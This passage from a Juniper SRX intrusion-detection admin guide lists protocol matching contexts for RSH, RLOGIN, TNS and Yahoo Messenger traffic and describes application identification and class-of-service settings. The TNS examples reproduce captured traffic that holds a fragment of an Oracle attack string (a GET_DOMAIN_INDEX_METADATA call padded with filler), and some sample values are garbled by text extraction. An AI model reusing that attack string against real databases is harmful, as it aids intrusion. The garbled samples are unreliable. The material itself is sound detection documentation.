rlogin-remote-user (CTS)	Matches the remote username in an RLOGIN session. Example of field in RLOGIN transaction: Transmission Control Protocol, Src Port: 1023, Dst Port: 513, Seq: 1774520748, Ack: 1767009269, Len 27 Rlogin Protocol User info (root\000bin\000xterm-color/38400\000) Client-user-name: root Server-user-name: bin Terminal-type: xterm-color Terminal-speed: 38400 Example of context usage: Context: rlogin-remote-user pattern: "bin"

Service Contexts: RSH

The table displays the security context details for RSH:

Table 75: Service Contexts: RSH

Context and Direction	Description Example of Contexts
rsh-local-user (CTS)	Matches the local username in an RSH session. Example of field in RSH transaction: Remote Shell Client -> Server Data: 005d005d0036557d23475349304d70704b5a26547a272554 Example of context usage: Context: rsh-local-user pattern: "\x 5d \x"

Table 75: Service Contexts: RSH (Continued)

Context and Direction	Description Example of Contexts
rsh-remote- command (CTS)	Matches the remote command in an RSH session. Example of field in RSH transaction: Remote Shell Client -> Server Data: 005d005d0036557d23475349304d70704b5a26547a272554 Example of context usage: Context: rsh-remote-command pattern: "\x36557d\x"
rsh-remote-user (CTS)	Matches the remote username in an RSH session. Example of field in RSH transaction: Remote Shell Client -> Server Data: 005d005d0036557d23475349304d70704b5a26547a272554 Example of context usage: Context: rsh-remote-user pattern: "\x 5d \x"

Service Contexts: RUSERS

The table displays the security context details for RUSERS:

Table 76: Service Contexts: RUSERS

Context and Direction	Description	Display Name
rusers-device (STC)	Matches the name of the device in an RUSERS session.	RUSERS Device
rusers-host (STC)	Matches the name of the host in an RUSERS session.	RUSERS Host

Table 76: Service Contexts: RUSERS (Continued)

Context and Direction	Description	Display Name
rusers-user (STC)	Matches the name of the user in an RUSERS session.	RUSERS User

Service Contexts: TNS

The table displays the security context details for TNS:

Table 77: Service Contexts: TNS

Context and	Description
Direction	Example of Contexts
tns-accept-section	Matches the Accept Section Data in a TNS session.
(STC)	
tns-connect-addr-	Matches the Connect Address-Dev in a TNS session.
dev (CTS)	
tns-connect-addr-	Matches the Connect Address-Host in a TNS session.
host (CTS)	Matches the Connect Address Flost III a TNO Session.
tns-connect-addr-	Matches the Connect Address-Key in a TNS session.
key (CTS)	
tns-connect-addr- port (CTS)	Matches the Connect Address-Port in a TNS session.
tns-connect-addr-	Matches the Connect Address-Protocol in an TNS session.
proto (CTS)	

Table 77: Service Contexts: TNS (Continued)

Context and Direction	Description Example of Contexts	
tns-connect-cid- host (CTS)	Matches the Connect Data CID Host in a TNS session.	
tns-connect-cid- user (CTS)	Matches the Connect Data CID User in a TNS session.	
tns-connect-data- cid-prog (CTS)	Matches the Connect Data CID Program in a TNS session.	
tns-connect-data- sid (CTS)	Matches the Connect Data SID in a TNS session.	
tns-connect- data- svcname (CTS)	Matches the Connect Data Service Name in an TNS session.	
tns-connect-section (CTS)	Matches the Connect Section Data in a TNS session. Example of field in TNS transaction: Transparent Network Substrate Protocol Packet Length: 453 Packet Checksum: 0x0000 Packet Type: Connect (1) Reserved Byte: 00 Header Checksum: 0x0000 Connect Version: 3129 Version (Compatible): 300 Service Options: 0x0000 Session Data Unit Size: 4096 Maximum Transmission Data Unit Size: 32767 NT Protocol Characteristics: 0x8308, Hangon to listener connect, ASync 10 Supported, Packet oriented 10, Generate SIGURG signal Line Turnaround Value: 0 Value of 1 in Hardware: 0100 Length of Connect Data: 413 Offset to Connect Data: 413 Offset to Connect Data: 58 Maximum Receivable Connect Data: 134217728 Connect Flags 1: 0x08, NA services linked in Connect Flags 1: 0x08, NA services linked in Trace Cross Facility Item 1: 0x00000000 Trace Cross Facility Item 2: 0x000000000 Trace Cross Facility Item 2: 0x000000000 Trace Cross Facility Item 2: 0x0000000000 Connect Data [truncated]: [DESCRIPTION=(ADDRESS_LIST=(AD DRESS=(COMM UN ITY=tcp. world)(PROTOCOL=TCP)(Host=IO.150.9.37) [Port=1521])(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=SYS.DBMS_EXPORT_EXTENSION.G ET_DO M AI N_IN D EX_META DATA() AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	

Table 77: Service Contexts: TNS (Continued)

Context and Direction	Description Example of Contexts
tns-data-flags (ANY)	Matches 2 bytes flags of Data Section in an TNS session
tns-data-section (ANY)	Matches the Data Section Data in a TNS session.
tns-message-body (ANY)	Matches any Message Body in a TNS session. Example of field in TNS transaction: Transparent Network Substrate Protocol Packet Length: 453 Packet Checksum: 0x0000 Packet Type: Connect (1) Reserved Byte: 00 Header Checksum: 0x0000 Connect Version: 3129 Version: 3129 Version (Compatible): 300 Service Options: 0x0000 Session Data Unit Size: 4096 Maximum Transmission Data Unit Size: 32767 NT Protocol Characteristics: 0x8308, Hangon to listener connect, ASync 10 Supported, Packet oriented 10, Generate SIGURG signal Line Turnaround Value: 0 Value of 1 in Hardware: 0100 Length of Connect Data: 413 Offset to Connect Data: 58 Maximum Receivable Connect Data: 134217728 Connect Flags 0: 0x08, NA services linked in Connect Flags 1: 0x08, NA services linked in Trace Cross Facility Item 1: 0x00000000 Trace Cross Facility Item 2: 0x00000000 Trace Cross Facility Item 2: 0x000000000 Connect Data [truncated]: (DESCRIPTION=ADDRESS_LIST=(AD DRESS=(COMM UN ITY=tcp. world)(PROTOCOL=TCP)(Host=IO.150.9.37)(Port=1521))(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=SYS.DBMS_EXPORT_EXTENSION.G ET_DO M AI N_ IN D EX_M ETA DATA() AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Table 77: Service Contexts: TNS (Continued)

Context and Direction	Description Example of Contexts
tns-message-type (ANY)	Matches the Message Type in a TNS session. Example of field in TNS transaction: Transparent Network Substrate Protocol Packet Length: 453 Packet Checksum: 0x0000 Packet Type: Connect (1) Reserved Byte: 00 Header Checksum: 0x0000 Connect Version: 3129 Version (Compatible): 300 Service Options: 0x0000 Session Data Unit Size: 4096 Maximum Transmission Data Unit Size: 32767 Example of context usage: Context: tns-message-type pattern: "\x01\x"
tns-preamble (ANY)	Matches the first 8 bytes of a TNS message.
tns-redirect-section (STC)	Matches the Redirect Section in a TNS session.

Service Contexts: YMSG

The table displays the security context details for YMSG:

Table 78: Service Contexts: YMSG

Context and Direction	Description Example of Contexts	
ymsg-alias (ANY)	Matches the alternate name associated with the main username.	
ymsg-buddy-name (ANY)	Matches the name of a user that appears on the friends list.	
ymsg-chatroom- chatter (ANY)	Matches the name of a user participating in a chat session	
ymsg-chatroom- invitee (ANY)	Matches the name of the user who is being invited to join a chatroom.	
ymsg-chatroom- message (ANY)	Matches the messages exchanged in a chatroom.	
ymsg-chatroom- name (ANY)	Matches the name of a chatroom in a YMSG session.	
ymsg-conf-host (ANY)	Matches the name of the user who is hosting the conference.	
ymsg-conf-invitee (ANY)	Matches the name of a user who is invited to a conference.	
ymsg-conf-join-msg (ANY)	Matches the content of a message sent as part of a conference invitation.	
ymsg-conf-name (ANY)	Matches the name of a conference session.	
ymsg-config-url (STC)	Matches the URL at which the user can configure the password after the account is disabled.	

Table 78: Service Contexts: YMSG (Continued)

Context and Direction	Description Example of Contexts	
ymsg-contact-name (ANY)	Matches the contact name in a friends list or invitation.	
ymsg-group-name (ANY)	Matches the name of a group used to categorize friends.	
ymsg-header (ANY)	Matches data in the protocol header. Example of field in YMSG transaction:	
	Yahoo YMSG Messenger Protocol (Verify) Version: 11 Vendor ID:0 Packet Length: 0 Service: Verify (76) Status: Default (0) Session ID: 0x00000000	
	Context: ymsg-header pattern: "\x0b\x"	
ymsg-ignored-user (ANY)	Matches the name of the user being added to, or appearing on, the ignored users list.	
ymsg-mail-sender (STC)	Matches the name of the user sending an e-mail message.	
ymsg-mail- sender- address (STC)	Matches the e-mail address of sender.	
ymsg-mail-subject (STC)	Matches the e-mail subject.	

Table 78: Service Contexts: YMSG (Continued)

Context and Direction	Description Example of Contexts		
ymsg-main-identity (ANY)	Matches the main identity name of the user.		
ymsg-message (ANY)	Matches the instant message that is sent from one client to another. Example of field in YMSG transaction: Yahoo YMSG Messenger Protocol (Message) Version: 16 Vendor ID:0 Packet Length: 94 Service: Message (6) Status: Offline (1515563606) Session ID: 0xdd4c47b0 Content: 31c080627279616e726275726e73c08035c08079696d5f62 1:bryanrburns Key: 1 Value: bryanrburns 5:yim_black_mage Key: 5 Value: yim_black_mage 97:1 Key: 97 Value: 1 14:ok I got yours Key: 14 Value: ok I got yours Example of context usage: Context: ymsg-message pattern: "yours"		
ymsg-message- server- filename-url (STC)	Matches the message with the name of the file on the client from which the server can download and transfer to peers.		
ymsg-nickname (ANY)	Matches the nickname of a user.		

Table 78: Service Contexts: YMSG (Continued)

Context and Direction	Description Example of Contexts
ymsg-p2p- get- filename (STC)	Matches the name of the file on the peer from which the file can be downloaded. Example of field in YMSG transaction: Yahoo YMSG Messenger Protocol (Y7 File Transfer) Version: 16 Vendor ID:0 Packet Length: 2037 Service: Y7 File Transfer (220) Status: Server Ack (1) Session ID: 0xdd4c47b0 Content: 34c08079696d5f626c61636b5f6d616765c08035c0806272 4:yim_black_mage 5:bryantburns 222:1 265:fkqzvd3HqtxPbdZW4Kh4Uw\$\$ 266:1 [truncated J267:/9]/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgH BwcJCQgKDBQNDAsLDBkSEw8 UHRofHh0aHBwgJC4nlClskxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgylRwhMjly M jlyM jlyM jlyM jlyM jlyM jlyM jly
ymsg-p2p-get- filename-url (STC)	Matches the location of a file on the peer from which the file can be downloaded.

Table 78: Service Contexts: YMSG (Continued)

Context and Direction	Description Example of Contexts	
ymsg-p2p-put- filename (CTS)	Matches the name of the file on the client that other peers can download. Example of field in YMSG transaction: Yahoo YMSG Messenger Protocol (Y7 File Transfer) Version: 16 Vendor ID:0 Packet Length: 2037 Service: Y7 File Transfer (220) Status: Server Ack (1) Session ID: 0xdd4c47b0 Content: 34c080796966d5f626c61636b5f6d616765c08035c0806272 4-yim_black_mage 5-btypantburns 222:1 265: fKqzVd3HqfxPbdzW4Kh4Uw\$\$ 266:1 [Itruncated J267:/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgH BwcJCQgKDBQNDAsLDBkSEw8 UHR0fHlh0aHBwgJC4nlClstxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgylRwhMjly MjlyM jlyM jlyM jlyM jlyM jlyM jlyM	
ymsg-p2p- put- filename-url (CTS)	Matches the location of a file on the client from which other peers can download.	
ymsg-recipient (ANY)	Matches the identity of the recipient of a message or file.	
ymsg-sender (ANY)	Matches the identity of a sender of a message or file.	
ymsg-server- get- filename-url (STC)	Matches the location of a file on the client from which the server can download and transfer to peers.	
ymsg-system- message (STC)	Matches the content of a message sent from the server to the client.	

Table 78: Service Contexts: YMSG (Continued)

Context and Direction	Description Example of Contexts
ymsg-user-name (ANY)	Matches the identity of the login user or one of the user's alias. Example of field in YMSG transaction: Yahoo YMSG Messenger Protocol (Authentication) Version: 11 Vendor ID:0 Packet Length: 14 Service: Authentication (87) Status: Default (0) Session ID: 0x00000000 Content: 31c0806a75736f6232303030c080 1:jusob2000 Key: 1 Value: jusob2000 Example of context usage: Context: ymsg-user-name pattern: "jusob"



Configure IDP Features

IN THIS CHAPTER

- IDP Application Identification | 401
- Class of Service Action in an IDP Policy | 414
- IDP Utility for Packet Capture | 435

IDP Application Identification

SUMMARY

Application Identification (AppID) utilizes predefined application signatures to detect applications operating on non-standard ports, enhancing threat detection and policy enforcement. These signatures are included in Juniper's security package updates. AppID is automatically enabled when the IDP service is activated.

IN THIS SECTION

- Understand Application Identification | 401
- IDP Service and Application Bindings by Attack Objects | 403
- IDP Application Identification for Nested
 Applications | 405
- Example: Configure IDP Policies for Application Identification | 405
- Memory Limit Settings for IDP Application
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- Verify IDP Counters for Application
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- Platform-Specific IDP Application
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The IDP system identifies applications using predefined signatures, enabling detection and policy enforcement. This enhances security by ensuring accurate identification of applications. ApplD functions automatically with IDP services on, ensuring seamless detection and enforcement.

Use Feature Explorer to confirm platform and release support for specific features. "Additional Platforms" on page 412 might be supported.

Review the "Platform-Specific IDP Application Identification Behavior" on page 413 section for notes related to your platform.

Understand Application Identification

Juniper Networks provides predefined application signatures that detect Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) applications running on nonstandard ports. Identifying these applications allows Intrusion Detection and Prevention (IDP) to apply appropriate attack objects to

applications running on nonstandard ports. It also improves performance by narrowing the scope of attack signatures for applications without decoders.

The IDP sensor monitors the network and detects suspicious and anomalous network traffic based on specific rules defined in IDP rulebases. It applies attack objects to traffic based on protocols or applications. Application signatures enable the sensor to identify known and unknown applications running on nonstandard ports and to apply the correct attack objects.

Application signatures are available as part of the security package provided by Juniper Networks. You download predefined application signatures along with the security package updates. You cannot create application signatures. For information on downloading the security package, see "Update the IDP Signature Database Manually" on page 34.

AppID is enabled by default only if the requesting service, like IDP, AppFW, AppTrack, or AppQoS, is set to invoke it. AppID does not trigger automatically if no policies or configurations exist. However, when you specify an application in the policy rule, IDP uses the specified application rather than the application identification result. For instructions on specifying applications in policy rules, see "Example: Configuring IDP Applications and Services" on page 202.

Application identification is enabled by default. To disable application identification with the CLI see *Disabling and Reenabling Junos OS Application Identification*.

On all branch SRX Series Firewalls, IDP does not allow header checks for nonpacket contexts.

IDP deployed in both active/active and active/passive chassis clusters has the following limitations:

- No inspection of sessions that fail over or fail back.
- The IP action table is not synchronized across nodes.
- The Routing Engine on the secondary node might not be able to reach networks that are reachable only through a Packet Forwarding Engine.
- The SSL session ID cache is not synchronized across nodes. If an SSL session reuses a session ID and it happens to be processed on a node other than the one on which the session ID is cached, the SSL session cannot be decrypted and will be bypassed for IDP inspection.

IDP in active/active chassis clusters has a limitation. For time-binding scope source traffic, attacks from a source with multiple destinations might not be detected. Active sessions distributed across nodes cause this issue because time-binding counting has a local-node-only view. Detecting this sort of attack requires an RTO synchronization of the time-binding state that is not currently supported.

SEE ALSO

IDP Service and Application Bindings by Attack Objects

Attack objects can bind to applications and services in different ways:

- Attack objects can bind to an application implicitly and not have a service definition. They bind to an application based on the name of a context or anomaly.
- Attack objects can bind to a service using a service name.
- Attack objects can bind to a service using TCP or UDP ports, ICMP types or codes or RPC program numbers.

Whether the specified application or service binding applies or not depends on the complete attack object definition as well as the IDP policy configuration:

If you specify an application in an attack object definition, the service field is ignored. The attack
object binds to the application instead of the specified service. However, if you specify a service and
no application in the attack object definition, the attack object binds to the service. Table 79 on page
403 summarizes the behavior of application and service bindings with application identification.

Table 79: Applications and Services with Application Identification

Attack Object Fields	Binding Behavior	Application Identification
:application (http) :service (smtp)	Binds to the application HTTP.The service field is ignored.	Enabled
:service (http)	Binds to the application HTTP .	Enabled
:service (tcp/80)	Binds to TCP port 80.	Disabled

For example, in the following attack object definition, the attack object binds to the application HTTP, the application identification is enabled, and the service field **SMTP** is ignored.

```
:type (stream)
)
:type (attack-ip)
)
```

- If an attack object is based on service specific contexts (for example, http-url) and anomalies (for example, tftp_file_name_too_long), both application and service fields are ignored. Service contexts and anomalies imply application; thus when you specify these in the attack object, application identification is applied.
- If you configure a specific application in a policy, you overwrite the application binding specified in an
 attack object. Table 80 on page 404 summarizes the binding with the application configuration in the
 IDP policy.

Table 80: Application Configuration in an IDP Policy

Application Type in the Policy	Binding Behavior	Application Identification
Default	Binds to the application or service configured in the attack object definition.	 Enabled for application-based attack objects Disabled for service-based attack objects
Specific application	Binds to the application specified in the attack object definition.	Disabled
Any	Binds to all applications.	Disabled

• If you specify an application in an IDP policy, the application type configured in the attack object definition and in the IDP policy must match. The policy rule cannot specify two different applications (one in the attack object and the other in the policy).

Application cannot be any when attacks based on different applications are specified in IDP configuration and commit fails. Use default instead.

While configuring IDS rules for application the option any is deprecated.

But, when application is any and custom-attack groups are used in IDP configuration, commit goes through successfully. So, commit check does not detect such cases.

SEE ALSO

Understand Application Identification | 401

Example: Configure IDP Policies for Application Identification | 405

IDP Application Identification for Nested Applications

With the greater use of application protocol encapsulation, the need arises to support the identification of multiple different applications running on the same Layer 7 protocols. For example, applications such as Facebook and Yahoo Messenger can both run over HTTP, but there is a need to identify them as two different applications running on the same Layer 7 protocol. In order to do this, the current application identification layer is split into two layers: Layer 7 applications and Layer 7 protocols.

Included predefined application signatures have been created to detect the Layer 7 applications whereas the existing Layer 7 protocol signatures still function in the same manner. These predefined application signatures can be used in attack objects.

SEE ALSO

Understand Application Identification | 401

Example: Configure IDP Policies for Application Identification

IN THIS SECTION

- Requirements | 406
- Overview | 406
- Configuration | 406
- Verification | 407

This example shows how to configure the IDP policies for application identification.

Requirements

Before you begin:

- Configure network interfaces.
- Download the application package.

Overview

In this example, you create an IDP policy ABC and define rule 123 in the IPS rulebase. You specify default as the application type in an IDP policy rule. If you specify an application instead of default the ApplD feature will be disabled for this rule and IDP will match the traffic with the specified application type. The applications defined under application-identification cannot be referenced directly at this time.

Configuration

IN THIS SECTION

Procedure | 406

Procedure

Step-by-Step Procedure

To configure IDP policies for application identification:

1. Create an IDP policy.

```
[edit]
user@host# set security idp idp-policy ABC
```

2. Specify the application type.

```
[edit]
```

user@host# set security idp idp-policy ABC rulebase-ips rule 123 match application default

3. Specify an action to take when the match condition is met.

[edit]
user@host# set security idp idp-policy ABC rulebase-ips rule 123 then action no-action

4. If you are done configuring the device, commit the configuration.

[edit]
user@host# commit

Verification

To verify the configuration is working properly, enter the show security idp command.

SEE ALSO

Understand Application Identification | 401

Understanding the Junos OS Application Package Installation

Memory Limit Settings for IDP Application Identification

Although you cannot create application signatures with the IDP signature database, you can configure sensor settings to limit the number of sessions running ApplD and also limit memory usage for ApplD.

Memory limit for a session—You can configure the maximum amount of memory bytes that can be used to save packets for AppID for one TCP or UDP session. You can also configure a limit for global memory usage for application identification. AppID is disabled for a session after the system reaches the specified memory limit for the session. However, IDP continues to match patterns. The matched application is saved to cache so that the next session can use it. This protects the system from attackers trying to bypass AppID by purposefully sending large client-to-server packets.

 Number of sessions—You can configure the maximum number of sessions that can run ApplD at the same time. ApplD is disabled after the system reaches the specified number of sessions. You limit the number of sessions so that you can prevent a denial-of-service (DOS) attack, which occurs when too many connection requests overwhelm and exhaust all the allocated resources on the system.

Use Feature Explorer to confirm platform and release support for specific features. Additional platforms may be supported.

See the "Additional Platform Information" on page 412 section for more information about the capacity of central point (CP) session numbers.

Example: Set Memory Limits for IDP Application Identification Services

IN THIS SECTION

- Requirements | 408
- Overview | 408
- Configuration | 408
- Verification | 409

This example shows how to configure memory limits for IDP AppID services.

Requirements

Before you begin:

- Configure network interfaces.
- Download the signature database. See "Updating the IDP Signature Database Manually" on page 34.

Overview

In this example, you configure 5000 memory bytes as the maximum amount of memory that can be used for saving packets for AppID for one TCP session.

Configuration

IN THIS SECTION

Procedure | 409

Procedure

Step-by-Step Procedure

To configure memory and session limits for IDP AppID services:

1. Specify the memory limits for application identification.

```
[edit]
user@host# set security idp sensor-configuration application-identification max-tcp-session-
packet-memory 5000
```

2. If you are done configuring the device, commit the configuration.

```
[edit]
user@host# commit
```

Verification

To verify the configuration is working properly, enter the show security idp memory command.

Verify IDP Counters for Application Identification Processes

Purpose | 409 Action | 410 Meaning | 410

Purpose

Verify the IDP counters for the AppID processes.

Action

From the CLI, enter the show security idp counters application-identification command.

Sample Output

OP counters:		
TIND counter tune	Value	
IDP counter type		
AI cache hits	2682	
AI cache misses	3804	
AI matches	74	
AI no-matches	27	
AI-enabled sessions	3804	
AI-disabled sessions	2834	
AI-disabled sessions due to cache hit	2682	
AI-disabled sessions due to configuration	0	
AI-disabled sessions due to protocol remapping	0	
AI-disabled sessions due to non-TCP/UDP flows	118	
AI-disabled sessions due to no AI signatures	0	
AI-disabled sessions due to session limit	0	
AI-disabled sessions due to session packet memory limit	34	
AI-disabled sessions due to global packet memory limit	0	

Meaning

The output shows a summary of the AppID counters. Verify the following information:

Counters	Description
Al cache hits	Displays the number of hits on the application identification cache.
Al cache misses	Displays the number of times the application matches but the application identification cache entry is not added.
Al matches	Displays the number of times the application matches, and an application identification cache entry is added.

(Continued)

Counters	Description
Al no-matches	Displays the number of times when application does not match.
Al-enabled sessions	Displays the number of sessions on which application identification is enabled.
Al-disabled sessions	Displays the number of sessions on which application identification is disabled.
Al-disabled sessions due to cache hit	Displays the number of sessions on which application identification is disabled after a cache entry is matched. Application identification process is discontinued for this session.
Al-disabled sessions due to configuration	Displays the number of sessions on which application identification is disabled because of the sensor configuration.
Al-disabled sessions due to protocol remapping	Displays the number of sessions for which application identification is disabled because you have configured a specific service in the IDP policy rule definition.
Al-disabled sessions due to non-TCP/UDP flows	Displays the number of sessions for which application identification is disabled because the session is not a TCP or UDP session.
Al-disabled sessions due to no Al signatures	Displays the number of sessions for which application identification is disabled because no match is found on the application identification signatures.
AI-disabled due to session limit	Displays the number of sessions for which application identification is disabled because sessions have reached the maximum limit configured. Application identification is disabled for future sessions too.

(Continued)

Counters	Description
Al-disabled due to session packet memory limit	Displays the sessions for which application identification is disabled because sessions have reached the maximum memory limit on TCP or UDP flows. Application identification is disabled for future sessions too.
Al-disabled due to global packet memory limit	Displays the sessions for which application identification is disabled because the maximum memory limit is reached. Application identification is disabled for future sessions too.

SEE ALSO

Understand Application Identification | 401

Additional Platform Information

Use Feature Explorer to confirm platform and release support for specific features. Additional platforms might be supported.

Use the following table to review additional platform information.

SRX Series Firewall	Maximum Sessions	Central Point (CP)
SRX5600	9 million 2.25 million	Full CP Combo-mode CP
SRX5800	10 million 2.25 million	Full CP Combo-mode CP

Platform-Specific IDP Application Identification Behavior

Use Feature Explorer to confirm platform and release support for specific features.

Use the following table to review platform-specific behaviors for your platform.

Platform	Difference
SRX Series Firewalls	 SRX320 Firewall that supports IDP AppID supports a maximum of 16,384 IDP sessions. SRX345 Firewall that supports IDP AppID supports a maximum of 32,768 IDP sessions. The maximum number of IDP sessions supported is 8000 on default profile of NFX150-C-S1 devices and 16,000 on SD-WAN profile of NFX150-C-S1 devices. The maximum number of IDP sessions supported is 8000 on default profile of NFX150-S1 and 64,000 on SD-WAN profile of NFX150-S1 devices. On all branch SRX Series Firewalls, the maximum supported number of entries in the ASC table is 100,000 entries. Because the user land buffer has a fixed size of 1 MB as a limitation, the table displays a maximum of 38,837 cache entries.

RELATED DOCUMENTATION

Understand IDP Policy | 43

IDP Policy Rules and IDP Rule Bases | 65

Class of Service Action in an IDP Policy

SUMMARY

Class of Service (CoS) Action in an IDP policy allows SRX Series Firewalls to modify network traffic priority based on intrusion detection results.

IN THIS SECTION

- IDP Class of Service Action Overview | 414
- Forwarding Classes Overview | 416
- Rewrite Rules Overview | 419
- Example: Configure and Apply Rewrite Rules on a Security Device | 419
- Example: Apply the CoS Action in an IDPPolicy | 425
- Platform-Specific Class of Service Action
 Behavior | 434
- Platform-Specific Rewrite Rules
 Behavior | 434

CoS or QoS is a way to manage multiple traffic profiles over a network by giving certain types of traffic priority over others. For example, you can give Voice traffic priority over email or HTTP traffic.

Use Feature Explorer to confirm platform and release support for specific features.

Review the "Platform-Specific Class of Service Action Behavior" on page 434 and "Platform-Specific Rewrite Rules Behavior" on page 434 sections for notes related to your platform.

IDP Class of Service Action Overview

DiffServ (DS) is a system for tagging (or "marking") traffic at a position within a hierarchy of priority. DiffServ codepoint (DSCP) marking maps the Junos OS CoS level to the DSCP field in the IP packet header.

In the data plane, before a packet reaches an egress interface, the IDP module can notify the security flow module to rewrite the packet's DSCP value. The IDP module and the interface-based rewriter rewrite DSCP values based on different and independent rules. The IDP module rewrites a packet's DSCP value based on IDP policies; whereas the interface-based rewriter rewrites a packet's DSCP value based on packet classification results. Therefore the rewriting decisions of the IDP module and the interface-based rewriter can be different.

An interface-based rewriter rewrites DSCP values by comparing a packet's forwarding class against a set of forwarding classes configured as *rewrite rules*. A forwarding class that does not belong to this set of forwarding classes is used to notify an interface-based rewriter to not to rewrite a packet's DSCP value when it has been set by the IDP module.

In addition to influencing the rewriting of a packet's DSCP value, forwarding classes are also used to prioritize the traffic in the device. By assigning a forwarding class to a queue number, you affect the scheduling and marking of a packet as it transits an SRX Series Firewall. For information about forwarding classes, see *Forwarding Classes Overview*.

When the IDP module rewrites a packet's DSCP value, IDP can set the forwarding class associated with the packet such that the forwarding class is out of the set of forwarding classes defined as the rule for an egress interface-based rewriter. For information about rewrite rules, see *Rewrite Rules Overview* and *Example: Configuring and Applying Rewrite Rules on a Security Device*.

When the interface-based rewriter processes the packet, it notices that the packet's forwarding class does not match any of the classes defined in the rewrite rule, therefore it does not change the DSCP value of the packet. Consequently, the packet's DSCP value is marked by the IDP module and the interface-based rewriter is bypassed. Separate forwarding classes for the IDP module and the interface-based rewriter can be defined using the set forwarding-class statement at the [edit class-of-service] hierarchy level. For example, forwarding classes fc0, fc1, fc2, and fc3 can be defined for the IDP module, while forwarding classes fc4, fc5, fc6, and fc7 can be defined for the interface-based rewriters. In Junos OS, multiple forwarding classes can be mapped to one priority queue. Therefore the number of forwarding classes can be more than the number of queues.

When both the interface-based rewriter and the IDP modules try to rewrite DSCP values, the IDP module is given precedence over the interface-based rewriter. This is because IDP marks DSCP values with more information about the packets and has stricter security criteria than the interface-based rewriter module.

To understand how to rewrite DSCP values with the IDP module and bypass the interface-based rewriter, see "Example: Applying the CoS Action in an IDP Policy" on page 425.

SEE ALSO

Example: Apply the CoS Action in an IDP Policy | 425

Forwarding Classes Overview

IN THIS SECTION

- Forwarding Class Queue Assignments | 417
- Forwarding Policy Options | 418

Forwarding classes (FCs) allow you to group packets for transmission and to assign packets to output queues. The forwarding class and the loss priority define the per-hop behavior (PHB in DiffServ) of a packet.

Juniper Networks devices support eight queues (0 through 7). For a classifier to assign an output queue (default queues 0 through 3) to each packet, it must associate the packet with one of the following forwarding classes:

Forwarding Class	Description
Expedited forwarding (EF)	Provides a low-loss, low-latency, low- <i>jitter</i> , assured-bandwidth, end-to-end service.
Assured forwarding (AF)	Provides a group of values you can define and includes four subclasses—AF1, AF2, AF3, and AF4—each with three drop probabilities (low, medium, and high).
Best effort (BE)	Provides no service profile. For the BE forwarding class, loss priority is typically not carried in a class-of-service (CoS) value, and random early detection (RED) drop profiles are more aggressive.
Network Control (NC)	This class is typically high priority because it supports protocol control.

In addition to behavior aggregate (BA) and multifield (MF) classification, the forwarding class (FC) of a packet can be directly determined by the *logical interface* that receives the packet. The packet FC can be configured using CLI commands, and if configured, this FC overrides the FC from any BA classification that was previously configured on the logical interface.

The following CLI command can assign an FC directly to packets received at a logical interface:

[edit class-of-service interfaces interface-name unit logical-unit-number] forwarding-class class-name;

This section contains the following topics:

Forwarding Class Queue Assignments

Juniper Networks devices have eight queues built into the hardware. By default, four queues are assigned to four FCs. Table 81 on page 417 shows the four default FCs and queues that Juniper Networks classifiers assign to packets, based on the class-of-service (CoS) values in the arriving packet headers.

Queues 4 through 7 have no default assignments to FCs and are not mapped. To use queues 4 through 7, you must create custom FC names and map them to the queues.

By default, all incoming packets, except the IP control packets, are assigned to the FC associated with queue 0. All IP control packets are assigned to the FC associated with queue 3.

Table 81: Default Forwarding Class Queue Assignments

Forwarding Queue	Forwarding Class	Forwarding Class Description
Queue 0	best-effort (BE)	The Juniper Networks device does not apply any special CoS handling to packets with 000000 in the DiffServ field, a backward compatibility feature. These packets are usually dropped under congested network conditions.
Queue 1	expedited-forwarding (EF)	The Juniper Networks device delivers assured bandwidth, low loss, low delay, and low delay variation (jitter) end-to-end for packets in this service class. Devices accept excess traffic in this class, but in contrast to assured forwarding, out-of-profile expedited-forwarding packets can be forwarded out of sequence or dropped.

Table 81: Default Forwarding Class Queue Assignments (Continued)

Forwarding Queue	Forwarding Class	Forwarding Class Description
Queue 2	assured-forwarding (AF)	The Juniper Networks device offers a high level of assurance that the packets are delivered as long as the packet flow from the customer stays within a certain service profile that you define.
		The device accepts excess traffic, but applies a random early detection (RED) drop profile to determine whether the excess packets are dropped and not forwarded.
		Three drop probabilities (low, medium, and high) are defined for this service class.
Queue 3	network-control (NC)	The Juniper Networks device delivers packets in this service class with a low priority. (These packets are not delay sensitive.)
		Typically, these packets represent routing protocol hello or keepalive messages. Because loss of these packets jeopardizes proper network operation, delay is preferable to discard.

Forwarding Policy Options

CoS-based forwarding (CBF) enables you to control next-hop selection based on a packet's CoS and, in particular, the value of the IP packet's precedence bits. For example, you can specify a particular interface or next hop to carry high-priority traffic while all the best-effort traffic takes some other path. CBF allows path selection based on FC. When a routing protocol discovers equal-cost paths, it can either pick a path at random or load-balance the packets across the paths through either hash selection or round-robin selection.

A forwarding policy also allows you to create CoS classification overrides. You can override the incoming CoS classification and assign the packets to an FC based on the packets' input interfaces, input precedence bits, or destination addresses. When you override the classification of incoming packets, any mappings you configured for associated precedence bits or incoming interfaces to output transmission queues are ignored.

SEE ALSO

No Link Title

Example: Classifying All Traffic from a Remote Device by Configuring Fixed Interface-Based Classification

No Link Title

Rewrite Rules Overview

A rewrite rule modifies the appropriate class-of-service (CoS) bits in an outgoing packet. Modification of CoS bits allows the next downstream device to classify the packet into the appropriate service group. Rewriting or marking outbound packets is useful when the device is at the border of a network and must alter the CoS values to meet the policies of the targeted peer. A rewrite rule examines the forwarding class and loss priority of a packet and sets its bits to a corresponding value specified in the rule.

Typically, a device rewrites CoS values in outgoing packets on the outbound interfaces of an edge device, to meet the policies of the targeted peer. After reading the current forwarding class and loss priority information associated with the packet, the transmitting device locates the chosen CoS value from a table, and writes this CoS value into the packet header.

You can configure 802.1p rewrite on logical VDSL interface, that is, pt interface.

Example: Configure and Apply Rewrite Rules on a Security Device

IN THIS SECTION

- Requirements | 419
- Overview | 420
- Configuration | 421
- Verification | 424

This example shows how to configure and apply rewrite rules for a device.

Requirements

Before you begin, create and configure the forwarding classes.

Overview

